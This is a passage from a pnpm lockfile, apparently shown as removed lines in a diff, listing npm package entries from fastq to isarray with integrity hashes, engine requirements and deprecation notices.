sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} - - fastq@1.20.1: - resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} - - fault@2.0.1: - resolution: {integrity: sha512-WtySTkS4OKev5JtpHXnib4Gxiurzh5NCGvWrFaZ34m6JehfTUhKZvn9njTfw48t6JumVQOmrKqpmGcdwxnhqBQ==} - - fdir@6.5.0: - resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} - engines: {node: '>=12.0.0'} - peerDependencies: - picomatch: ^3 || ^4 - peerDependenciesMeta: - picomatch: - optional: true - - file-entry-cache@6.0.1: - resolution: {integrity: sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==} - engines: {node: ^10.12.0 || >=12.0.0} - - fill-range@7.1.1: - resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} - engines: {node: '>=8'} - - finalhandler@1.3.2: - resolution: {integrity: sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==} - engines: {node: '>= 0.8'} - - find-up@5.0.0: - resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} - engines: {node: '>=10'} - - flat-cache@3.2.0: - resolution: {integrity: sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==} - engines: {node: ^10.12.0 || >=12.0.0} - - flatted@3.3.3: - resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==} - - for-each@0.3.5: - resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==} - engines: {node: '>= 0.4'} - - foreground-child@3.3.1: - resolution: {integrity: sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==} - engines: {node: '>=14'} - - format@0.2.2: - resolution: {integrity: sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==} - engines: {node: '>=0.4.x'} - - forwarded@0.2.0: - resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} - engines: {node: '>= 0.6'} - - fraction.js@5.3.4: - resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==} - - fresh@0.5.2: - resolution: {integrity: sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==} - engines: {node: '>= 0.6'} - - fs-constants@1.0.0: - resolution: {integrity: sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==} - - fs-extra@10.1.0: - resolution: {integrity: sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==} - engines: {node: '>=12'} - - fs-minipass@2.1.0: - resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==} - engines: {node: '>= 8'} - - fs-minipass@3.0.3: - resolution: {integrity: sha512-XUBA9XClHbnJWSfBzjkm6RvPsyg3sryZt06BEQoXcF7EK/xpGaQYJgQKDJSUH5SGZ76Y7pFx1QBnXz09rU5Fbw==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - fs.realpath@1.0.0: - resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} - - fsevents@2.3.2: - resolution: {integrity: sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==} - engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} - os: [darwin] - - fsevents@2.3.3: - resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} - engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} - os: [darwin] - - function-bind@1.1.2: - resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} - - function.prototype.name@1.1.8: - resolution: {integrity: sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==} - engines: {node: '>= 0.4'} - - functions-have-names@1.2.3: - resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} - - generator-function@2.0.1: - resolution: {integrity: sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==} - engines: {node: '>= 0.4'} - - generic-names@4.0.0: - resolution: {integrity: sha512-ySFolZQfw9FoDb3ed9d80Cm9f0+r7qj+HJkWjeD9RBfpxEVTlVhol+gvaQB/78WbwYfbnNh8nWHHBSlg072y6A==} - - gensync@1.0.0-beta.2: - resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} - engines: {node: '>=6.9.0'} - - get-intrinsic@1.3.0: - resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} - engines: {node: '>= 0.4'} - - get-nonce@1.0.1: - resolution: {integrity: sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==} - engines: {node: '>=6'} - - get-port@5.1.1: - resolution: {integrity: sha512-g/Q1aTSDOxFpchXC4i8ZWvxA1lnPqx/JHqcpIw0/LX9T8x/GBbi6YnlN5nhaKIFkT8oFsscUKgDJYxfwfS6QsQ==} - engines: {node: '>=8'} - - get-proto@1.0.1: - resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} - engines: {node: '>= 0.4'} - - get-stream@6.0.1: - resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==} - engines: {node: '>=10'} - - get-symbol-description@1.1.0: - resolution: {integrity: sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==} - engines: {node: '>= 0.4'} - - glob-parent@5.1.2: - resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} - engines: {node: '>= 6'} - - glob-parent@6.0.2: - resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} - engines: {node: '>=10.13.0'} - - glob@10.5.0: - resolution: {integrity: sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==} - deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me - hasBin: true - - glob@7.2.3: - resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} - deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me - - globals@13.24.0: - resolution: {integrity: sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==} - engines: {node: '>=8'} - - globalthis@1.0.4: - resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==} - engines: {node: '>= 0.4'} - - globby@11.1.0: - resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} - engines: {node: '>=10'} - - gopd@1.2.0: - resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} - engines: {node: '>= 0.4'} - - graceful-fs@4.2.11: - resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} - - graphemer@1.4.0: - resolution: {integrity: sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==} - - gunzip-maybe@1.4.2: - resolution: {integrity: sha512-4haO1M4mLO91PW57BMsDFf75UmwoRX0GkdD+Faw+Lr+r/OZrOCS0pIBwOL1xCKQqnQzbNFGgK2V2CpBUPeFNTw==} - hasBin: true - - has-bigints@1.1.0: - resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==} - engines: {node: '>= 0.4'} - - has-flag@4.0.0: - resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} - engines: {node: '>=8'} - - has-property-descriptors@1.0.2: - resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} - - has-proto@1.2.0: - resolution: {integrity: sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==} - engines: {node: '>= 0.4'} - - has-symbols@1.1.0: - resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} - engines: {node: '>= 0.4'} - - has-tostringtag@1.0.2: - resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} - engines: {node: '>= 0.4'} - - hasown@2.0.2: - resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} - engines: {node: '>= 0.4'} - - hast-util-to-estree@2.3.3: - resolution: {integrity: sha512-ihhPIUPxN0v0w6M5+IiAZZrn0LH2uZomeWwhn7uP7avZC6TE7lIiEh2yBMPr5+zi1aUCXq6VoYRgs2Bw9xmycQ==} - - hast-util-whitespace@2.0.1: - resolution: {integrity: sha512-nAxA0v8+vXSBDt3AnRUNjyRIQ0rD+ntpbAp4LnPkumc5M9yUbSMa4XDU9Q6etY4f1Wp4bNgvc1yjiZtsTTrSng==} - - hosted-git-info@6.1.3: - resolution: {integrity: sha512-HVJyzUrLIL1c0QmviVh5E8VGyUS7xCFPS6yydaVd1UegW+ibV/CohqTH9MkOLDp5o+rb82DMo77PTuc9F/8GKw==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - http-errors@2.0.1: - resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==} - engines: {node: '>= 0.8'} - - human-signals@2.1.0: - resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==} - engines: {node: '>=10.17.0'} - - iconv-lite@0.4.24: - resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} - engines: {node: '>=0.10.0'} - - icss-replace-symbols@1.1.0: - resolution: {integrity: sha512-chIaY3Vh2mh2Q3RGXttaDIzeiPvaVXJ+C4DAh/w3c37SKZ/U6PGMmuicR2EQQp9bKG8zLMCl7I+PtIoOOPp8Gg==} - - icss-utils@5.1.0: - resolution: {integrity: sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==} - engines: {node: ^10 || ^12 || >= 14} - peerDependencies: - postcss: ^8.1.0 - - ieee754@1.2.1: - resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} - - ignore@5.3.2: - resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} - engines: {node: '>= 4'} - - import-cwd@3.0.0: - resolution: {integrity: sha512-4pnzH16plW+hgvRECbDWpQl3cqtvSofHWh44met7ESfZ8UZOWWddm8hEyDTqREJ9RbYHY8gi8DqmaelApoOGMg==} - engines: {node: '>=8'} - - import-fresh@3.3.1: - resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} - engines: {node: '>=6'} - - import-from@3.0.0: - resolution: {integrity: sha512-CiuXOFFSzkU5x/CR0+z7T91Iht4CXgfCxVOFRhh2Zyhg5wOpWvvDLQUsWl+gcN+QscYBjez8hDCt85O7RLDttQ==} - engines: {node: '>=8'} - - imurmurhash@0.1.4: - resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==} - engines: {node: '>=0.8.19'} - - indent-string@4.0.0: - resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==} - engines: {node: '>=8'} - - inflight@1.0.6: - resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} - deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. - - inherits@2.0.4: - resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} - - inline-style-parser@0.1.1: - resolution: {integrity: sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q==} - - internal-slot@1.1.0: - resolution: {integrity: sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==} - engines: {node: '>= 0.4'} - - ipaddr.js@1.9.1: - resolution: {integrity: sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==} - engines: {node: '>= 0.10'} - - is-alphabetical@2.0.1: - resolution: {integrity: sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==} - - is-alphanumerical@2.0.1: - resolution: {integrity: sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==} - - is-arguments@1.2.0: - resolution: {integrity: sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==} - engines: {node: '>= 0.4'} - - is-array-buffer@3.0.5: - resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==} - engines: {node: '>= 0.4'} - - is-async-function@2.1.1: - resolution: {integrity: sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==} - engines: {node: '>= 0.4'} - - is-bigint@1.1.0: - resolution: {integrity: sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==} - engines: {node: '>= 0.4'} - - is-binary-path@2.1.0: - resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} - engines: {node: '>=8'} - - is-boolean-object@1.2.2: - resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==} - engines: {node: '>= 0.4'} - - is-buffer@2.0.5: - resolution: {integrity: sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==} - engines: {node: '>=4'} - - is-callable@1.2.7: - resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} - engines: {node: '>= 0.4'} - - is-core-module@2.16.1: - resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==} - engines: {node: '>= 0.4'} - - is-data-view@1.0.2: - resolution: {integrity: sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==} - engines: {node: '>= 0.4'} - - is-date-object@1.1.0: - resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==} - engines: {node: '>= 0.4'} - - is-decimal@2.0.1: - resolution: {integrity: sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==} - - is-deflate@1.0.0: - resolution: {integrity: sha512-YDoFpuZWu1VRXlsnlYMzKyVRITXj7Ej/V9gXQ2/pAe7X1J7M/RNOqaIYi6qUn+B7nGyB9pDXrv02dsB58d2ZAQ==} - - is-extglob@2.1.1: - resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} - engines: {node: '>=0.10.0'} - - is-finalizationregistry@1.1.1: - resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==} - engines: {node: '>= 0.4'} - - is-fullwidth-code-point@3.0.0: - resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} - engines: {node: '>=8'} - - is-generator-function@1.1.2: - resolution: {integrity: sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==} - engines: {node: '>= 0.4'} - - is-glob@4.0.3: - resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} - engines: {node: '>=0.10.0'} - - is-gzip@1.0.0: - resolution: {integrity: sha512-rcfALRIb1YewtnksfRIHGcIY93QnK8BIQ/2c9yDYcG/Y6+vRoJuTWBmmSEbyLLYtXm7q35pHOHbZFQBaLrhlWQ==} - engines: {node: '>=0.10.0'} - - is-hexadecimal@2.0.1: - resolution: {integrity: sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==} - - is-interactive@1.0.0: - resolution: {integrity: sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==} - engines: {node: '>=8'} - - is-map@2.0.3: - resolution: {integrity: sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==} - engines: {node: '>= 0.4'} - - is-module@1.0.0: - resolution: {integrity: sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==} - - is-negative-zero@2.0.3: - resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==} - engines: {node: '>= 0.4'} - - is-number-object@1.1.1: - resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==} - engines: {node: '>= 0.4'} - - is-number@7.0.0: - resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} - engines: {node: '>=0.12.0'} - - is-path-inside@3.0.3: - resolution: {integrity: sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==} - engines: {node: '>=8'} - - is-plain-obj@3.0.0: - resolution: {integrity: sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==} - engines: {node: '>=10'} - - is-plain-obj@4.1.0: - resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} - engines: {node: '>=12'} - - is-reference@1.2.1: - resolution: {integrity: sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==} - - is-reference@3.0.3: - resolution: {integrity: sha512-ixkJoqQvAP88E6wLydLGGqCJsrFUnqoH6HnaczB8XmDH1oaWU+xxdptvikTgaEhtZ53Ky6YXiBuUI2WXLMCwjw==} - - is-regex@1.2.1: - resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} - engines: {node: '>= 0.4'} - - is-set@2.0.3: - resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==} - engines: {node: '>= 0.4'} - - is-shared-array-buffer@1.0.4: - resolution: {integrity: sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==} - engines: {node: '>= 0.4'} - - is-stream@2.0.1: - resolution: {integrity: sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==} - engines: {node: '>=8'} - - is-string@1.1.1: - resolution: {integrity: sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==} - engines: {node: '>= 0.4'} - - is-symbol@1.1.1: - resolution: {integrity: sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==} - engines: {node: '>= 0.4'} - - is-typed-array@1.1.15: - resolution: {integrity: sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==} - engines: {node: '>= 0.4'} - - is-unicode-supported@0.1.0: - resolution: {integrity: sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==} - engines: {node: '>=10'} - - is-weakmap@2.0.2: - resolution: {integrity: sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==} - engines: {node: '>= 0.4'} - - is-weakref@1.1.1: - resolution: {integrity: sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==} - engines: {node: '>= 0.4'} - - is-weakset@2.0.4: - resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==} - engines: {node: '>= 0.4'} - - isarray@1.0.0: - resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==} - - isarray@2.0.5: - resolution: {integrity: 